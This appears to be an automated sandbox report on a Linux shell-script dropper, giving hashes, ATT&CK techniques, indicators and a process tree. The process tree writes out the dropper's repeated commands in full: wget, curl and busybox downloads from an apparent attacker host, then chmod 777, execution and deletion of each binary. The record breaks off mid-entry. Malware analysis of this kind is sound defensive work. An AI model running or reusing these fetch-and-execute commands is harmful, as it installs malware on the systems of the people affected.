143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816

Analysis

max time kernel
99s
max time network
100s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 02:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816.sh
Size 10KB
Sample241122-ckapxaskbz
SHA256 143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816
MD5 97ffaecbf363475e19dcf85ba3b90269
SHA1 85bc9adc6dcf8b605334fc3966dc3924cb6af00f
SHA512 344e97b4547b4a4047d5707f58dd65ee24c87adcc076227e2598d98e8facc87e6dfb5fd1538ce835157bbc91335798e5b6ecba8c152eaa77eb8182ae72165cf4
SSDEEP 192:2+uMV803qWtvH7wJpfWS1TQAfH7wJptWS1TQAh803qW/:2+uMV803qWtvH7wJpfWS1TQAfH7wJptv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
859	chmod
946	chmod
988	chmod
755	chmod
844	chmod
960	chmod
967	chmod
808	chmod
869	chmod
911	chmod
974	chmod
742	chmod
904	chmod
918	chmod
925	chmod
953	chmod
782	chmod
883	chmod
890	chmod
981	chmod
876	chmod
897	chmod
852	chmod
932	chmod
939	chmod
995	chmod
1002	chmod
1009	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
750	busybox
787	wget
907	wget
880	curl
889	busybox
935	wget
807	busybox
931	busybox
943	curl
799	curl
882	busybox
887	curl
903	busybox
994	busybox
771	curl
837	busybox
858	busybox
928	wget
856	curl
879	wget
991	wget
1006	curl
745	wget
779	busybox
978	curl
984	wget
985	curl
992	curl
999	curl
825	curl
936	curl
849	curl
851	busybox
886	wget
910	busybox
915	curl
1008	busybox
741	busybox
760	wget
873	curl
875	busybox
957	curl
987	busybox
718	wget
811	wget
893	wget
914	wget
917	busybox
964	curl
966	busybox
738	curl
894	curl
901	curl
945	busybox
980	busybox
855	wget
900	wget
922	curl
924	busybox
938	busybox
959	busybox
971	curl
746	curl
970	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	curl
File opened for modification	/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	curl
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	curl
File opened for modification	/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	curl
File opened for modification	/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	curl
File opened for modification	/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	curl
File opened for modification	/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	curl
File opened for modification	/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	curl
File opened for modification	/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	curl
File opened for modification	/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	curl
File opened for modification	/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	curl
File opened for modification	/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	curl
File opened for modification	/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	curl
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	curl
File opened for modification	/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	curl
File opened for modification	/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	curl
File opened for modification	/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	curl
File opened for modification	/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	curl
File opened for modification	/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	curl
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	curl
File opened for modification	/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	curl
File opened for modification	/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	curl
File opened for modification	/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	curl
File opened for modification	/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	curl
File opened for modification	/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	curl
File opened for modification	/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	curl

/tmp/143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816.sh
/tmp/143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - System Network Configuration Discovery
  PID:718
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - System Network Configuration Discovery
  PID:741
- /bin/chmod
  chmod 777 bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  ./bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:744
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - System Network Configuration Discovery
  PID:745
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - System Network Configuration Discovery
  PID:750
- /bin/chmod
  chmod 777 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  ./4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:759
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - System Network Configuration Discovery
  PID:760
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - System Network Configuration Discovery
  PID:779
- /bin/chmod
  chmod 777 SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  ./SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Executes dropped EXE
  PID:783
- /bin/rm
  rm SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:786
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - System Network Configuration Discovery
  PID:787
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - System Network Configuration Discovery
  PID:807
- /bin/chmod
  chmod 777 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  ./2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:810
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - System Network Configuration Discovery
  PID:811
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - System Network Configuration Discovery
  PID:837
- /bin/chmod
  chmod 777 ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  ./ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:847
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/chmod
  chmod 777 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  ./6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - System Network Configuration Discovery
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - System Network Configuration Discovery
  PID:858
- /bin/chmod
  chmod 777 UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  ./UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:861
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:868
- /bin/chmod
  chmod 777 w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  ./w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Executes dropped EXE
  PID:870
- /bin/rm
  rm w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:871
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:872
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - System Network Configuration Discovery
  PID:875
- /bin/chmod
  chmod 777 YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  ./YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:878
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - System Network Configuration Discovery
  PID:879
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - System Network Configuration Discovery
  PID:882
- /bin/chmod
  chmod 777 kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  ./kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - System Network Configuration Discovery
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - System Network Configuration Discovery
  PID:889
- /bin/chmod
  chmod 777 EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  ./EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:892
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - System Network Configuration Discovery
  PID:893
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:896
- /bin/chmod
  chmod 777 PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  ./PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:899
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - System Network Configuration Discovery
  PID:903
- /bin/chmod
  chmod 777 FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  ./FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  PID:906
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - System Network Configuration Discovery
  PID:910
- /bin/chmod
  chmod 777 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  ./2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:913
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - System Network Configuration Discovery
  PID:914
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - System Network Configuration Discovery
  PID:917
- /bin/chmod
  chmod 777 SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  ./SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:920
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - System Network Configuration Discovery
  PID:924
- /bin/chmod
  chmod 777 bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  ./bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:927
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - System Network Configuration Discovery
  PID:928
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - System Network Configuration Discovery
  PID:931
- /bin/chmod
  chmod 777 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  ./4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:934
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - System Network Configuration Discovery
  PID:935
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - System Network Configuration Discovery
  PID:938
- /bin/chmod
  chmod 777 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  ./6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - System Network Configuration Discovery
  PID:945
- /bin/chmod
  chmod 777 UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  ./UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:948
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:952
- /bin/chmod
  chmod 777 w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  ./w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:955
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - System Network Configuration Discovery
  PID:959
- /bin/chmod
  chmod 777 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  ./2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:962
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - System Network Configuration Discovery
  PID:966
- /bin/chmod
